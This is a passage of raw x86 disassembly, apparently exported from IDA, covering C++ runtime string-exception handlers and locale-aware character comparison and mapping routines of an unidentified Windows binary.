loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25E0000h push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2D0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2D0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC71C, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC821[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426750 proc near jmp near ptr 71B2ACCBh sub_426750 endp ; --------------------------------------------------------------------------- db 74h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2860000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB364, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2661402h pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB364, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB364 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB5BC, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi call near ptr 2650000h nop test eax, eax jz short loc_4269DC mov dword_4DB5BC, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE5C push edi push esi call near ptr 2660000h nop test eax, eax jz loc_426B7D mov dword_4DB5BC, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB5BC cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB374 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2821363h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2821363h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2660000h nop mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2660000h nop test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2830000h nop mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C32C mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB5C0 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi nop call near ptr 26105D2h test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE5C push esi push edi nop call near ptr 2620000h test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB5C0, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 26105D2h nop jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB374 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2821363h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 2821363h nop test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB364 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2620000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U 